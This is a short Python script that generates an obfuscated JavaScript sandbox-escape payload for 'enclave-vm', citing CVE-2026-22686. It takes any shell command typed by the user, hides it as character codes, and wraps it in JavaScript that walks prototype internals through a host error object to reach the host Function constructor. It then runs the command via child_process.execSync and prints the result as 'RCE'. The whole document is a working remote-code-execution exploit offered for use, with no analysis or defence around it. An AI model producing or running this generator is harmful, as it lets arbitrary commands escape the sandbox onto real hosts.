def build_payload(command: str) -> str: payload_str = f"return process.getBuiltinModule('child_process').execSync('{command}').toString()" char_codes = ",".join(str(ord(c)) for c in payload_str) # Personalizaded command to encode # Payload base of enclave-vm Sanbox Scape from: https://github.com/amusedx/CVE-2026-22686 return f"""const s = (...args) => String.fromCharCode(...args); const kCon = s(99,111,110,115,116,114,117,99,116,111,114); const kProto = s(95,95,112,114,111,116,111,95,95); const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95); const kPtype = s(112,114,111,116,111,116,121,112,101); const payload = s({char_codes}); try {{ const ObjectProto = Object[kPtype]; const lookup = ObjectProto[kLookup]; const getProtoNative = lookup.call(ObjectProto, kProto); let hostError; try {{ await callTool('NONEXISTENT', {{}}); }} catch (e) {{ hostError = e; }} const errProto = getProtoNative.call(hostError); const HostFunc = errProto[kCon][kCon]; const result = HostFunc(payload)(); output("RCE: " + result + "\\n"); }} catch (e) {{ output("ERROR: " + e.message + "\\n"); }}""" if __name__ == "__main__": command = input("Comando a ejecutar: ").strip() print(build_payload(command))